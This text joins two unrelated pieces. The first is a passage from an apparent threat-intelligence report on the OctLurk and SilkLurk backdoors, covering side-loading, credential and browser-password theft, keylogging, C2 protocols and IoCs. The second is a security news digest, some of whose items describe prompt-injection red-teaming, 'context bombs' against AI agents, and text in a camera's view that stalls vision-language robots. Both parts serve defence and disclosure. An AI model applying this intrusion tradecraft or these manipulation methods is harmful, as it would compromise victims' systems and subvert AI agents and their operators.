plugins listed below are commonly deployed on victim machines. Command Shell: provides a command shell File Manager: performs filesystem interaction Interaction Manager: synthesizes keyboard and mouse events The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID. Post-compromise activity The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions: Victim fingerprinting The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below. The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, .datb, and _logs.datb — all stored in the %TEMP% directory. Event log collection The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users. Credential harvesting Impacket — secretsdump Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise. Keylogger Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below. The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte. Browser Password Decryptor The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites. Remote access : Pandora FMS agents (Pandora RC agent) Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below. The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below. EHUSER: a Pandora RC user STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1) EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent ) DESKTOPSHORTCUT: 0: do not create a desktop shortcut Network scan: FSCAN Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt. Email harvesting The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to: Verify that a connection to the email server is working Authenticate the user Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails) LurkProxy In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below. LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used. Mode 1: SOCKS5 proxy When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands. Mode 2: transparent proxy In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer. SilkLurk Deployment The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory. SilkLurk loader The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader. Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service. Service Type: SERVICE_WIN32_OWN_PROCESS Start Type: SERVICE_AUTO_START Error Control: SERVICE_ERROR_NORMAL On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure: The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file. The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory. During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out. During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked. SilkLurk backdoor The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure: The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format: After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration. It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes. After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below. Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server. Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below. The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message. The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands: Post-compromise activity The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip. Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers. Second-stage payload PlugX The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below. Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX. PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX. Infrastructure The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times. Attribution We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts. In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loadervulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below. In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs. In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group. Conclusions The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder. In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized. Indicators of Compromise Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected]. Backdoor domains and IPs OctLurk C2 dns[.]multitoconference[.]com tj[.]tajikistandip[.]com fm01[.]clouddevicemetrics[.]com confbase[.]mdpsupport[.]net digital[.]leroymerling[.]com api2[.]annoyingremote[.]com about[.]blsouqs[.]com ssl[.]blsouqs[.]com 45[.]138[.]157[.]165 LurkProxy C2 dns[.]ssentialserv[.]xyz 154[.]196[.]162[.]76 SilkLurk C2 Loaders OctLurk loader 082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll f4578e869a735cfad691f927bae3e638 msbasesysdc.dll 7c2f64461bb519c6cbf1fc687675514c mscastrac.dll SilkLurk loader 8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll PlugX dropper 3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe PlugX loader ef59aad625eebda8650aec5820d6ce69 RasTls.dll OctLurk backdoor OctLurk File Manager plugin OctLurk Command Shell plugin OctLurk Interaction Manager plugin Impacket’s secretsdump (not available) 32a5985543433a4f60da2fafd873b927 Adobe.exe Keylogger 2a571f6cee42a17d873f4c942649813f AnyDesk.exe Browser password stealer 37dc84e4bcad92fa28f1e7778d088283 x64.exe FSCAN cf903e4a1629aa0582fd0363b5786676 fc.exe Batch scripts (not available) 6ecf84fb18f6747ed08d7598364d853a 1.bat b874123a80fc4f40e06872b9cb54ebc6 auto.bat 45cf5916fab4272a1313c26e67aa9220 in.bat 4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat 5e26df131ff0a679a0a2699b723b46e3 1.bat Archive utilities WinRAR 18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe 7zip 9a1dd1d96481d61934dcc2d568971d06 7z.exe File paths OctLurk file paths C:\Users\[username]\Videos\1.bat C:\Windows\System32\oleasapi.dll C:\Windows\Media\Welcome01.wav C:\windows\temp\in.bat C:\Users\[username]\1.bat C:\ProgramData\1.bat C:\Windows\System32\msbasesysdc.dll C:\Windows\System32\Waavsstrace.dll C:\Windows\System32\SystemSettings.Publishing.dll C:\Windows\System32\msdctries.dll C:\Users\Public\Pictures\AnyDesk.exe C:\Users\Public\Libraries\msect\dev0 C:\Users\Public\Libraries\msect\dev1 C:\users\[username]\libraries\64.exe C:\ProgramData\Ehorus\ %TEMP%\fc.exe SilkLurk file paths C:\programdata\microsoft\network\connections\nvgwls.exe C:\ProgramData\Veeam\EndpointData\nvgwls.exe c:\ProgramData\microsoft\network\connections\vulkan-1.dll C:\ProgramData\microsoft\network\downloader\vulkan-1.dll C:\ProgramData\intel\vulkan-1.dll C:\Users\Public\Music\vulkan-1.dll C:\ProgramData\HP\NCCOM\vulkan-1.dll C:\ProgramData\intel\gcc\vulkan-1.dll C:\Windows\System32\0409\vulkan-1.dll C:\ProgramData\veeam\endpointdata\vulkan-1.dll C:\ProgramData\plug\vulkan-1.dll C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll C:\ProgramData\nvidia\ngx\vulkan-1.dll C:\ProgramData\microsoft\microsoft\vulkan-1.dll C:\ProgramData\usoprivate\updatestore\vulkan-1.dll C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat C:\ProgramData\NVIDIA\DisplayDriverContainer1.log C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log C:\ProgramData\NVIDI\NGX\ngx.dat C:\ProgramData\Intel\GCC\2024.log C:\ProgramData\veem\pyshellext.amd64.log C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll C:\realtek\audio\RtkNGUI64Loc.dll C:\ProgramData\USOPrivate\UpdateStore\Store.dat C:\ProgramData\Microsoft\Crypto\Keys\Store.key C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe C:\drvpath\network\lan\realtek\nvml.dll C:\microsoft\network\connections\nvml.dll C:\ProgramData\microsoft\network\connections\nvml.dll C:\Windows\System32\0419\nvml.dll C:\veeam\nvml.dll C:\microsoft\network\nvml.dll C:\ProgramData\hp\nvml.dll C:\usoprivate\updatestore\nvml.dll c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll C:\Users\Public\Pictures\image.png C:\Users\Public\Documents\My Pictures\image.png C:\ProgramData\Realtek\Audio\RtkSmbus.exe C:\ProgramData\realtek\audio\RtkSmbusLoc.dll C:\rtksmbusact\RtkSmbusLoc.dll C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll C:\realtek\audio\RtkSmbusLoc.dll PlugX file paths C:\ProgramData\microsoft\html help\kmsonline.exe C:\ProgramData\Symantec\RasTls.exe C:\ProgramData\Symantec\RasTls.dll C:\ProgramData\Symantec\RasTls.dll.res WinRAR and 7z file paths C:\Users\[username]\Libraries\RecordedTV.exe C:\Users\[username]\Libraries\recordutil.exe C:\windows\vss\7z.exe

Week in review: High severity WordPress vulnerabilities, fake OAuth IDs bypass sign-in logs Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Two new high severity WordPress vulnerabilities, patch immediately! The 7.0.2 WordPress security release addresses one critical and one high severity security issue. Cynative: Open-source deep research agent Running a large language model against a live cloud account to hunt for security holes comes with an obvious hazard. An agent that holds real credentials and a mandate to poke around can delete a bucket, flip a permission, or leak a secret on its way to a finding. Cynative, an open-source security research agent, answers that hazard by refusing to write anything by default, and by checking that refusal on every single call it makes. Fake OAuth client IDs are helping attackers slip past sign-in logs Attackers running account enumeration against Microsoft cloud tenants have added a step that keeps their probing out of the usual telemetry. They spoof the OAuth client ID, the globally unique identifier assigned to an application and passed as client_id in an authentication request. Microsoft Entra ID records that value as the application ID in its sign-in logs, and the way it handles unfamiliar identifiers opens a gap that operators have started to work through. The best defense against AI attacks turns out to be a skeptical human Analysts across the security industry now run generative AI through their daily work, from log triage to incident write-ups. Active use in cybersecurity strategy reached 78% of practitioners in 2026, up from half the field a year earlier. The 2026 SANS AI Survey, drawn from 536 IT and security professionals, describes what that commitment costs to keep. No one knows how many old shims can still bypass UEFI Secure Boot Most UEFI systems trust a Microsoft-signed first-stage bootloader called Shim, which enables Linux and other boot tools to work with Secure Boot. ESET discovered that 11 outdated Shim versions (0.9 and earlier) contained vulnerabilities that could undermine Secure Boot. Microsoft revoked trust in those versions as part of its June 9, 2026 Patch Tuesday update. “Context bombs” can frustrate AI-driven attacks, researchers found A new approach tried out by Tracebit researchers has proven very effective at stopping AI agents from fully compromising targeted environments. What makes it notable isn’t the technique – prompt injection is old news – but the direction it’s pointed: not to hijack AI agents, but to defend against them. GPT-Red beat human red teamers on a prompt injection test GPT-Red is an automated red-teaming model that OpenAI trains to find prompt injection weaknesses. It works the way a human red-teamer does. It sends a prompt, watches how a GPT model responds, and iterates toward a goal such as a successful data exfiltration. Companies keep getting breached by vulnerabilities they already knew about Scanning tools have gotten good at their work. Organizations now find more weaknesses across more of their systems than at any earlier point in the industry’s history. A survey from the security firm Vicarius points to a gap that opens after that discovery, in the work of assigning, approving, deploying, and confirming a fix. Ransom demands are down, email is the top way attackers get in An employee opens what appears to be a legitimate email, clicks a link, and unknowingly hands over their password. That stolen login gives attackers deeper access to the network, and days later, files become inaccessible. Malicious email and phishing now account for half of all ransomware incidents, according to a survey of 2,158 IT and security leaders whose organizations were hit in the past year. What public money does to open-source projects Most of the software running inside a typical company was written by volunteers the company never paid. Open-source code sits under web apps, build pipelines, and the machine learning stacks getting so much attention right now. Roughly 96 percent of codebases carry some of it. Reading between the lines of a cyber insurance policy Enterprises in regulated industries often carry cyber insurance policies because contracts require it or boards ask for documented risk transfer. The global market for these policies reached about $16 billion in premiums in 2024. Coverage has become widespread. Payouts have grown less predictable. The five step plan that cuts security budget waste In this Help Net Security video, Viktor Bulanek, CTO of Penetrify, explains where security budget waste comes from. Budgets get built around vendor categories, compliance checkboxes, and last year’s headlines. Attackers work along attack paths, and that mismatch is where the money goes. He walks through the two big leaks, overlapping tools that flag the same issue three times, and shelfware that covers a third of the estate at 100% of the invoice. Ransomware attack halts Coca-Cola’s Fairlife US milk production A ransomware attack has stopped milk production at Fairlife, the Coca-Cola dairy brand known for its high-protein milk, protein shakes, and nutrition drinks. Coca-Cola disclosed the incident on July 16, 2026, in a Form 8-K filed with the U.S. Securities and Exchange Commission (SEC). Claude can now sign into websites with 1Password without exposing your credentials 1Password has introduced 1Password for Claude, a beta integration that lets Anthropic’s AI assistant complete browser tasks requiring authentication without accessing users’ passwords or other secrets. Scammers weaponize FaceTime to drain bank accounts Apple is warning iPhone and iPad users that scammers are using FaceTime calls to trick them into handing over money and account details. Spirals ransomware locks down victim systems in under 24 hours A previously unknown ransomware strain called Spirals was used last month in an attack against an IT services company in South Asia, where attackers went from initial access to data theft and encrypting the network in less than 24 hours, according to Symantec’s Threat Hunter Team. Security threat prompts Progress to disable ShareFile accounts, tell customers to shut down servers A “credible external security threat” targeting Progress Software’s ShareFile Storage Zone Controllers (SZC) – the on-premises, customer-managed server components where organizations store files shared via this popular enterprise platform – has spurred the company to disable access to ShareFile accounts that are using them. The warning was sent to customers via email on July 10, urging them to manually shut down the server that is hosting their Storage Zone Controllers. SonicWall SMA appliances targeted in zero-day attacks (CVE-2026-15409, CVE-2026-15410) SonicWall has fixed two actively exploited vulnerabilities (CVE-2026-15409, CVE-2026-15410) affecting its Secure Mobile Access (SMA) 1000 Series appliances, and is urging customer organizations to upgrade to a fixed firmare version and search for evidence of potential compromise. AI-driven bug hunting fuels record Microsoft Patch Tuesday Microsoft has released patches for 570+ vulnerabilities on July 2026 Patch Tuesday, including two that are being leveraged by attackers (CVE-2026-56155 and CVE-2026-56164), and one that was previouly disclosed (CVE-2026-50661). The release was once again followed by Nightmare Eclipse publishing a stripped down proof-of-concept exploit for an unpatched Windows elevation of privilege (EoP) vulnerability, which the researcher dubbed LegacyHive. Threat actor impersonated hundreds of brands on GitHub to push infostealer malware A financially motivated threat actor is impersonating hundreds of brands on GitHub and pushing a smash-and-grab infostealer masquerading as legitimate downloads of popular software, Arctic Wolf threat researchers have warned. Why SBOMs, signing, and provenance still don’t tell you if software is safe Software supply chain security has improved with better visibility into software components, stronger code signing, and build provenance, driven in part by Executive Order 14028. While these measures strengthen software integrity and authenticity, they still leave a critical gap: they do not reveal what the software is actually capable of doing once it runs. The MDR renewal question: What changes when AI can handle the alerts For most of the past decade, the managed detection and response (MDR) decision was a simple one: teams that couldn’t staff a 24/7 SOC outsourced detection and response to a provider who could. It solved a resources problem, and the alternatives (hiring a team you couldn’t afford or keeping a functional set of SOAR playbooks across an expanding alert surface) were worse. Product showcase: Trust Chain TPRM turns vendor compliance evidence into verified assurance Trust Chain is an AI-native third-party risk management (TPRM) solution by Strike Graph that replaces the security questionnaire model with validated evidence of compliance. Rather than asking vendors to self-report their security posture, Trust Chain requires vendors to submit evidence, which is then evaluated using Strike Graph’s patent-pending Verify AI technology. Your vendor’s vendor might be the real breach risk In this Help Net Security video, Chris Boehm, Field CTO, Zero Networks, breaks down how a vendor breach can become your breach. He explains that attackers now target the subcontractors behind your trusted vendors. A compromised credential at a company you have never heard of can open access into your systems, because your vendor’s vendor holds keys you never vetted. A hardware security AI assistant that checks chips for hidden backdoors Chip designers often license circuitry from third-party vendors, creating a risk that hidden hardware trojans could be embedded in otherwise functional designs. Researchers at the University of Florida developed VeriChat, an AI assistant that helps hardware security engineers detect these threats by answering security questions and running verification tools on uploaded chip designs. Ransomware negotiator who betrayed clients sentenced to 70 months in prison A former ransomware negotiator at incident response firm DigitalMint has been sentenced to 70 months in prison after admitting he shared confidential client information with the BlackCat ransomware group and later helped carry out ransomware attacks. EU and UK blacklist Russia’s cyber operators over efforts to destabilize Europe The EU and the UK jointly sanctioned dozens of Russian individuals and entities, accusing Moscow of coordinating a malicious cyber ecosystem targeting Europe, its member states, and international partners. The UK sanctioned 24 individuals and entities, while the EU imposed restrictive measures on nine individuals and four entities. Hackers breach Lidl’s IT service provider, steal customer data German discount supermarket chain Lidl has notified customers in Germany, Belgium, and the Netherlands that customer data was stolen after attackers breached one of its IT service providers. In notices published on its support websites in Belgium and the Netherlands, Lidl said it was informed of the incident last week. New tutorials on underground hacking forums have roughly doubled Underground hacking forums are producing more original tutorials again, with growing attention on financial fraud, particularly the theft and fraudulent use of payment card data, known as carding, and cash-out techniques. Radware analyzed 8,870 tutorial posts published across 24 deep- and dark-web forums between December 2022 and April 2026. After removing reposts, the dataset contained 3,034 unique hacking and fraud guides. UK charges five persons linked to fraud platform behind more than a million scam calls Five people have been charged in the UK following a National Crime Agency (NCA) investigation into Russian Coms, a caller ID spoofing service used by fraudsters. New macOS malware steals passwords by posing as Apple’s crash-reporting tool Jamf Threat Labs has uncovered a new macOS infostealer named CrashStealer that disguises itself as Apple’s crash-reporting tool to steal passwords, Keychain data, and cryptocurrency wallets. The malware was first spotted in May while it was still under development. By early July, Jamf was seeing in-the-wild detections, indicating it had moved into active use. ClickFix is changing the economics of social engineering ClickFix has moved from a one-off social engineering trick into an industrialized attack ecosystem that is outpacing conventional antivirus and endpoint defenses, according to ReversingLabs. Spanish police dismantle €140 million cybercrime network Spanish National Police have dismantled a cybercrime network accused of stealing and laundering about €140 million through fake investment platforms, CEO fraud, invoice fraud, and man-in-the-middle attacks. LabubaRAT malware infiltrates Windows systems while posing as NVIDIA software LabubaRAT, a previously undocumented Rust-based remote access tool (RAT) masquerading as NVIDIA software that enables post-compromise operations on Windows systems, has been uncovered by Blackpoint Cyber. Police take down investment fraud network that stole €100 million a month Dutch police, working alongside Belgian authorities and Europol, have dismantled a major criminal network accused of operating a global investment fraud scheme through dozens of fraudulent call centers. Claude Code users keep 50% higher limits until July 19 Anthropic has extended a limited-time promotion that increases weekly usage limits in Claude Code by 50% through July 19, 2026, at 11:59 PM PT. When the promotion ends, weekly usage limits will return to their standard levels without any changes to users’ plans or billing. Debian 13.6 security update patches over a hundred advisories in trixie Most PCs still run with a UEFI Secure Boot certificate authority, installed by default since 2013, that has now expired. That certificate signed the bootloaders letting machines start with Secure Boot turned on. Its expiry sits at the center of the sixth update to Debian 13, codenamed “trixie.” The point release carries mostly security corrections along with a few fixes for serious problems. Enterprises are rethinking where their AI applications run Growing demand for compute capacity, power, cooling and low-latency connectivity is prompting organizations to reassess where AI applications run, according to CoreSite. 99.9% of fixable AI vulnerabilities remain unpatched Organizations build, deploy, and operate AI in the cloud, but basic cybersecurity hygiene is often sacrificed for speed, according to Orca Security’s 2026 State of AI Security Report. Microsoft demystifies how Windows updates work Microsoft has published a guide explaining the Windows servicing model, outlining the purpose of monthly security updates, optional preview releases, hotpatch updates, and the mechanisms used to deliver new features throughout the year. Claude Code users keep 50% higher limits until July 19 Anthropic has extended a limited-time promotion that increases weekly usage limits in Claude Code by 50% through July 19, 2026, at 11:59 PM PT. When the promotion ends, weekly usage limits will return to their standard levels without any changes to users’ plans or billing. Chatto: Open-source team messenger with privacy at its core Teams that want their group chats off commercial platforms have a growing menu of self-hosted options. Chatto joined that group when its developer released the code under an open-source license and posted binaries for anyone to run on their own hardware. The software aims at the same ground as the large team messaging services, and it keeps message data on infrastructure the operator controls. Fake smart home residents could stand in for real ones in security research Smart home security research runs on a scarce ingredient: recordings of how real people use the gadgets in their homes. Getting that data means wiring up someone’s house and watching for months, which is slow, costly, and about as invasive as it sounds. So the datasets stay small and cover a thin slice of how people live. Microsoft Entra ID authentication overhaul to start in September 2026 Microsoft will begin rolling out passkeys as the default authentication experience for Microsoft Entra ID in the public cloud on September 1, 2026. Organizations with SMS or voice authentication enabled will automatically be enabled for passkeys. The next time users complete MFA, they will be prompted to register a passkey. Google adds FIDO2 keys and phone passkeys to Windows login via GCPW Google has started rolling out FIDO2-compliant physical security key support as a second factor for authentication in Google Credential Provider for Windows (GCPW) to all Google Workspace customers. AI used to help plan the break-in, now it’s doing the break-in Over the past twelve months, researchers documented intrusions in which AI ran exploitation workflows autonomously, generating thousands of commands across dozens of sessions with minimal human direction, according to Check Point’s AI Security Report 2026. An AI overthinking attack can tie a robot up for over a minute Robots that read the world through cameras now lean on large vision-language models to interpret what they see and decide what to do next. These models handle images and text together, so any words that fall inside the camera frame become part of the input. A stop sign, a street name, a sticker on a wall. Researchers at Michigan Technological University have shown that this reading habit opens a door for attackers, and the door leads to a denial-of-service problem that looks nothing like the ones most defenders track. SingGuard-NSFA: Open-source guardrails for agentic AI SingGuard-NSFA is an open-source guardrail framework aimed at operational threats in agent workflows. Four models ship at 0.8B, 2B, 4B, and 9B parameters, all built on Qwen3.5 base backbones. FreeRDP 3.29.0 security update resolves 22 advisories FreeRDP is a free implementation of the Remote Desktop Protocol, released under the Apache license, and it runs on a large share of workstations and servers through the many tools built on it. The 3.29.0 version is a security, bugfix, and maintenance update that resolves 22 advisories. AWS retools Security Hub for AI and multicloud threats AWS added AI workload protection and Microsoft Azure security monitoring to Security Hub, its centralized security platform for collecting and prioritizing security findings across cloud environments. Support for additional cloud platforms will follow. Finance phishing works because it sounds boringly normal Finance departments handle a constant flow 